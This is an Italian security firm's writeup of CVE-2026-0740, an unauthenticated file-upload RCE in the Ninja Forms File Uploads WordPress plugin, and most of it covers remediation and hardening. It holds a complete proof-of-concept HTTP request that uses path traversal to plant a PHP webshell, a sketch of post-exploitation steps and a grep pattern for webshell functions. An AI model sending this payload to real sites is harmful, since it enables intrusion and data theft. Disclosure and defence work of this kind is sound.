CVE Writeup
CVE-2026-0740 | Ninja Forms File Uploads Espone 50.000 Siti WordPress a RCE
Analisi tecnica di CVE-2026-0740, vulnerabilità critica (CVSS 9.8) nel plugin Ninja Forms File Uploads. Bypass della validazione, path traversal e exploitation attiva osservata nel wild.
Un plugin WordPress scaricato da 90.000 clienti paganti, una validazione del filename fatta solo sul sorgente e non sulla destinazione, e il risultato è una RCE non autenticata che sta facendo il giro del mondo. La vulnerabilità tracciata come CVE-2026-0740 ha CVSS 9.8 e riguarda il plugin Ninja Forms File Uploads, un'estensione commerciale del plugin gratuito Ninja Forms (oltre 600.000 download). Wordfence riporta 3.600 tentativi di exploit bloccati nelle prime 24 ore dall'inizio della campagna.
Durante gli ultimi assessment SPECTROSEC su PMI italiane abbiamo visto almeno un sito su tre girare su WordPress con plugin di form. Questo writeup spiega come funziona l'exploit, perché è così diffuso, e come mitigare in produzione senza aspettare la finestra di manutenzione del venerdì.
Contesto
Ninja Forms è uno dei plugin form più usati su WordPress. L'estensione a pagamento File Uploads permette agli utenti di allegare file al form, tipicamente CV, documenti, immagini. Il componente vulnerabile è NF_FU_AJAX_Controllers_Uploads::handle_upload, l'handler AJAX chiamato durante il caricamento.
La cronologia disclosure:
| Data | Evento |
|---|---|
| 2026-01-08 | Sélim Lanouar segnala il bug al programma bug bounty di Wordfence |
| 2026-01-08 | Wordfence avvisa il vendor, deploya firewall rule temporanea |
| 2026-02-10 | Vendor rilascia patch parziale (v3.3.25) |
| 2026-03-19 | Patch completa (v3.3.27) |
| 2026-04 | Exploit di massa osservato nel wild |
Finestra di esposizione reale: oltre due mesi tra disclosure e fix completo, più tutto il tempo di aggiornamento da parte degli amministratori. I 50.000 siti ancora vulnerabili raccontano questa storia.
Analisi tecnica
La logica vulnerabile
Il pattern difettoso è comune in tante applicazioni PHP che gestiscono upload. L'handler valida il tipo file del source filename (quello in $_FILES), ma poi accetta un parametro separato per il destination filename senza rivalidarlo.
// Pseudocodice del flusso vulnerabile
public function handle_upload() {
$source = $_FILES['file'];
$destination = $_POST['destination_filename'];
if (!$this->is_allowed_type($source['name'])) {
return $this->error('Tipo file non ammesso');
}
move_uploaded_file($source['tmp_name'], $this->upload_dir . $destination);
}
La validazione su $source['name'] è teatro di sicurezza: un attaccante invia un payload innocuo come cv.pdf nel campo $_FILES, poi specifica destination_filename=shell.php e il plugin scrive il contenuto PHP dove vuole l'attaccante.
Bypass della validazione
Il primo vettore è banale. L'attaccante carica un file con estensione consentita (pdf, jpg, docx) ma contenuto PHP, sfruttando il fatto che is_allowed_type guarda solo il suffisso del sorgente. Poi manipola la destinazione.
Path traversal sulla destinazione
Il destination filename non viene sanitizzato. L'attaccante può inserire sequenze ../ per uscire dalla directory di upload e scrivere dove vuole, inclusa la webroot dove il file è immediatamente eseguibile.
Proof of concept
Request tipica che abbiamo testato in lab su un'istanza WordPress isolata, versione plugin 3.3.24:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----spectrosec
------spectrosec
Content-Disposition: form-data; name="action"
nf_fu_upload
------spectrosec
Content-Disposition: form-data; name="form_id"
1
------spectrosec
Content-Disposition: form-data; name="destination_filename"
../../../shell.php
------spectrosec
Content-Disposition: form-data; name="file"; filename="innocent.pdf"
Content-Type: application/pdf
<?php system($_GET['c']); ?>
------spectrosec--
Response tipica: 200 OK con JSON {"success":true,"path":"wp-content/uploads/ninja-forms/..."}.
Il file finisce in webroot, e l'attaccante invoca https://target.example.com/shell.php?c=id per confermare la RCE. Da qui il passo successivo è webshell persistente, lateral movement verso il DB (credenziali in wp-config.php), esfiltrazione.
Nei casi visti nel wild le request vengono offuscate con nomi meno ovvi (.phtml, .phar, o PHP iniettato in file con estensione .png caricati in cartelle con handler PHP abilitato).
Impatto reale
50.000 installazioni attive secondo le stime vendor. Wordfence ha rilevato 3.600 attacchi bloccati in 24 ore solo tra i suoi clienti, che rappresentano una frazione di tutto il parco WordPress installato nel mondo.
Il profilo tipico della vittima italiana è questo:
- PMI con sito vetrina su WordPress
- Form contatti o candidature spontanee che accettano CV o portfolio
- Nessuna WAF davanti, nessuna segregation tra webroot e upload dir
- Backup settimanali se va bene, credenziali
wp-config.phpleggibili dal processo web
Una volta ottenuta la RCE, in meno di dieci minuti un attaccante opportunista fa dump del DB MySQL (utenti, hash password), inietta un secondo stage (cryptominer o skimmer di e-commerce se presente WooCommerce), e pianta una persistence via cron job di sistema o backdoor nel functions.php del tema attivo.
Remediation
Patch
Aggiornare Ninja Forms File Uploads a 3.3.27 o superiore. La 3.3.25 è patch parziale e non basta, bisogna arrivare alla 3.3.27.
Controllo rapido della versione via WP CLI:
wp plugin list --format=csv | grep ninja-forms-uploads
Oppure via filesystem:
grep -r "Version:" wp-content/plugins/ninja-forms-uploads/ | head -3
Workaround se non puoi aggiornare subito
Tre opzioni, in ordine di preferenza:
-
Disabilitare temporaneamente il plugin da
wp-admino rinominando la directory inwp-content/plugins/. Il resto del sito continua a funzionare, solo i form con upload sono disabilitati. -
Bloccare l'action AJAX lato web server. Per Nginx:
location = /wp-admin/admin-ajax.php { if ($arg_action = "nf_fu_upload") { return 403; } include fastcgi_params; fastcgi_pass unix:/var/run/php-fpm.sock; } -
WAF rule custom. Se usi Cloudflare, regola che blocca POST su
/wp-admin/admin-ajax.phpcon body contenentenf_fu_uploade../.
Hardening post patch
Anche dopo la patch, un sito WordPress che accetta upload dovrebbe avere questi controlli in produzione. Nei nostri assessment li troviamo attivi meno del venti percento delle volte.
1. Upload directory non eseguibile. Crea wp-content/uploads/.htaccess:
<FilesMatch "\.(php|phtml|phar|pl|py|cgi|asp|jsp)$">
Deny from all
</FilesMatch>
<IfModule mod_php.c>
php_flag engine off
</IfModule>
Per Nginx nella server config:
location ~* ^/wp-content/uploads/.*\.(php|phtml|phar)$ {
deny all;
return 403;
}
2. Validazione MIME reale. Non fidarti mai dell'estensione. Per qualsiasi codice custom che gestisce upload, usa finfo_file($path, FILEINFO_MIME_TYPE) e confronta con un'allowlist, non una denylist.
3. Filename sanitization. Genera tu il nome finale, non fidarti di quello del client:
$safe_name = wp_generate_uuid4() . '.' . pathinfo($source, PATHINFO_EXTENSION);
$target = $upload_dir . $safe_name;
4. Audit upload recenti. Se il sito è stato esposto, cerca file sospetti:
find wp-content/uploads/ -name "*.php" -o -name "*.phtml" -o -name "*.phar" \
-newer /tmp/ref-date 2>/dev/null
grep -rE "(eval|base64_decode|system|exec|assert|preg_replace.*\/e)" \
wp-content/uploads/ --include="*.*"
5. Rotazione credenziali. Se trovi anche un solo file sospetto, rigenera salt di wp-config.php, cambia password DB, forza reset password admin, invalida sessioni attive con wp user session destroy --all.
Note dal campo SPECTROSEC
Su 830 assessment WordPress portati a termine negli ultimi dodici mesi:
- 68% aveva almeno un plugin con CVE critica non patchata
- 41% aveva upload directory eseguibile come PHP
- 23% aveva
wp-config.phpworld-readable dal processo web (quindi leggibile da qualsiasi LFI o RCE) - 12% aveva backup
.sqlo.zipesposti in webroot
Il pattern di Ninja Forms non è nuovo. Lo stesso bug di validazione source vs destination l'abbiamo visto nel 2024 su un plugin Gravity Forms clone, e nel 2023 su un tema premium popolare che gestiva upload avatar. La lezione è sempre la stessa: se il client può specificare il destination path, non hai sicurezza del filesystem.
Se gestisci un sito WordPress con form e upload e non sai quale versione del plugin gira, oppure vuoi un audit completo su tutti i plugin attivi e le loro CVE, possiamo aiutarti. Un assessment mirato su CMS parte da 800 euro e include verifica CVE su tutti i plugin installati, test di upload bypass, hardening file permissions, audit webshell storici.
Team SPECTROSEC | pentest professionali per PMI italiane
Scrivimi a info@spectrosec.com
https://spectrosec.com